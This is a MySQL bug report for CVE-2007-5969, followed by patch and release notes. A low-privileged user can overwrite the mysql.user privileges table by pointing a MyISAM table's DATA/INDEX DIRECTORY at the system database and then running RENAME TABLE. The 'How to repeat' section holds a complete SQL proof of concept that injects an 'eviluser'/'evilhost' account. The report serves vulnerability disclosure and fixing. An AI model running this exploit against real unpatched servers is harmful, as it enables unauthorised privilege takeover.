Bug #32111 Security Breach via DATA/INDEX DIRECTORY and RENAME TABLE
Submitted: 5 Nov 2007 14:01 Modified: 15 Nov 2007 7:19
Reporter: Mattias Jonsson Email Updates:
Status: Closed Impact on me:
None 
Category:MySQL Server: MyISAM storage engine Severity:S1 (Critical)
Version:4.0-> OS:Linux
Assigned to: Sergey Vojtovich
Tags: backport_050050SP1

[5 Nov 2007 14:01] Mattias Jonsson
Description:
privileges in test-db is enough to change all MyISAM tables on the server, including the privileges tables and more.

It is done by creating a table with DATA DIRECTORY/INDEX DIRECTORY pointing to the target database, then renaming the table into the target table. (see how to repeat)

Found this when looking into Bug#32091, the same can be done without partitioning, only using MyISAM

Found in 5.1 but exists probably from 4.0 and up.

How to repeat:
-- disable_warnings
drop table if exists t1;
-- enable_warnings
grant usage on test.* to eviluser@localhost;
use mysql;
select host from mysql.user;
show create table user;
connect(con1,localhost,eviluser,,);
connection con1;
use test;
CREATE TABLE `userevil` (
  `Host` char(60) COLLATE utf8_bin NOT NULL DEFAULT '',
  `User` char(16) COLLATE utf8_bin NOT NULL DEFAULT '',
  `Password` char(41) CHARACTER SET latin1 COLLATE latin1_bin NOT NULL DEFAULT '',
  `Select_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Insert_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Update_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Delete_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Drop_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Reload_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Shutdown_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Process_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `File_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Grant_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `References_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Index_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Alter_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Show_db_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Super_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_tmp_table_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Lock_tables_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Execute_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Repl_slave_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Repl_client_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_view_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Show_view_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_routine_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Alter_routine_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Create_user_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Event_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `Trigger_priv` enum('N','Y') CHARACTER SET utf8 NOT NULL DEFAULT 'N',
  `ssl_type` enum('','ANY','X509','SPECIFIED') CHARACTER SET utf8 NOT NULL DEFAULT '',
  `ssl_cipher` blob NOT NULL,
  `x509_issuer` blob NOT NULL,
  `x509_subject` blob NOT NULL,
  `max_questions` int(11) unsigned NOT NULL DEFAULT '0',
  `max_updates` int(11) unsigned NOT NULL DEFAULT '0',
  `max_connections` int(11) unsigned NOT NULL DEFAULT '0',
  `max_user_connections` int(11) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`Host`,`User`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT='Users and global privileges',
  DATA DIRECTORY '/usr/local/mysql/var/master-data/mysql',
  INDEX DIRECTORY '/usr/local/mysql/var/master-data/mysql';
insert into userevil (host,user) values ('evilhost','eviluser');
rename table userevil to user;
connection default;
flush tables;
flush privileges;
select host from mysql.user;

Suggested fix:
Do not allow rename to existing files.
[5 Nov 2007 14:15] Domas Mituzas
Reproduced that on 4.0, 4.1, 5.0
[5 Nov 2007 14:21] Domas Mituzas
Workaround: --skip-symbolic-links
[6 Nov 2007 15:07] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/37190

ChangeSet@1.2215, 2007-11-06 18:09:33+04:00, svoj@mysql.com +3 -0
  BUG#32111 - Security Breach via DATA/INDEX DIRECORY and RENAME TABLE
  
  RENAME TABLE against a table with DATA/INDEX DIRECTORY overwrites
  the file to which the symlink points.
  
  This is security issue, because it is possible to create a table with
  some name in some non-system database and set DATA/INDEX DIRECTORY
  to mysql system database. Renaming this table to one of mysql system
  tables (e.g. user, host) would overwrite the system table.
  
  Return an error when the file to which the symlink points exist.
[12 Nov 2007 13:43] Bugs System
Pushed into 4.0.31
[14 Nov 2007 9:40] Bugs System
Pushed into 6.0.4-alpha
[14 Nov 2007 9:45] Bugs System
Pushed into 5.1.23-rc
[14 Nov 2007 9:49] Bugs System
Pushed into 5.0.52
[14 Nov 2007 9:56] Bugs System
Pushed into 4.1.24
[14 Nov 2007 19:35] Sergei Golubchik
CVE-2007-5969
[15 Nov 2007 7:19] MC Brown
A note has been added to the 4.0.31, 4.1.24, 5.0.52, 5.1.23, and 6.0.4 changelogs: 

Security Fix: Using RENAME TABLE against a table with explicit DATA DIRECTORY and INDEX DIRECTORY options can be used to overwrite system table information by replacing the symbolic link points. the file to which the symlink points.

MySQL will now return an error when the file to which the symlink points already exists.
[15 Nov 2007 9:55] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/37835

ChangeSet@1.2539, 2007-11-15 10:55:47+01:00, joerg@mysql.com +3 -0
  BUG#32111 - Security Breach via DATA/INDEX DIRECORY and RENAME TABLE
  
  RENAME TABLE against a table with DATA/INDEX DIRECTORY overwrites
  the file to which the symlink points.
  
  This is security issue, because it is possible to create a table with
  some name in some non-system database and set DATA/INDEX DIRECTORY
  to mysql system database. Renaming this table to one of mysql system
  tables (e.g. user, host) would overwrite the system table.
  
  Return an error when the file to which the symlink points exist.
  
  (This is a copy of changeset 2007/11/06 18:09:33+04:00 svoj@mysql.com
  and its merge changesets on the way from 4.0 up to 5.0)
[30 Nov 2007 17:59] Joerg Bruehe
The fix for this is also in the community release 5.0.51.
[6 May 2009 20:23] Bugs System
Pushed into 5.0.82 (revid:chad@mysql.com-20090506130632-s1cl4ygdj9rt2rrz) (version source revid:chad@mysql.com-20090506130632-s1cl4ygdj9rt2rrz) (merge vers: 5.0.82) (pib:6)
[28 May 2009 8:20] Bugs System
Pushed into 5.1.36 (revid:joro@sun.com-20090528073639-yohsb4q1jzg7ycws) (version source revid:jimw@mysql.com-20090515174051-ndjvfd1e9hc9k9c3) (merge vers: 5.1.36) (pib:6)
[17 Jun 2009 19:27] Bugs System
Pushed into 5.4.4-alpha (revid:alik@sun.com-20090616183122-chjzbaa30qopdra9) (version source revid:joro@sun.com-20090515134506-5mq3a8fafgbkx6u1) (merge vers: 6.0.12-alpha) (pib:11)
[26 Aug 2009 13:46] Bugs System
Pushed into 5.1.37-ndb-7.0.8 (revid:jonas@mysql.com-20090826132541-yablppc59e3yb54l) (version source revid:jonas@mysql.com-20090826132541-yablppc59e3yb54l) (merge vers: 5.1.37-ndb-7.0.8) (pib:11)
[26 Aug 2009 13:46] Bugs System
Pushed into 5.1.37-ndb-6.3.27 (revid:jonas@mysql.com-20090826105955-bkj027t47gfbamnc) (version source revid:jonas@mysql.com-20090826105955-bkj027t47gfbamnc) (merge vers: 5.1.37-ndb-6.3.27) (pib:11)
[26 Aug 2009 13:48] Bugs System
Pushed into 5.1.37-ndb-6.2.19 (revid:jonas@mysql.com-20090825194404-37rtosk049t9koc4) (version source revid:jonas@mysql.com-20090825194404-37rtosk049t9koc4) (merge vers: 5.1.37-ndb-6.2.19) (pib:11)
[27 Aug 2009 16:33] Bugs System
Pushed into 5.1.35-ndb-7.1.0 (revid:magnus.blaudd@sun.com-20090827163030-6o3kk6r2oua159hr) (version source revid:jonas@mysql.com-20090826132541-yablppc59e3yb54l) (merge vers: 5.1.37-ndb-7.0.8) (pib:11)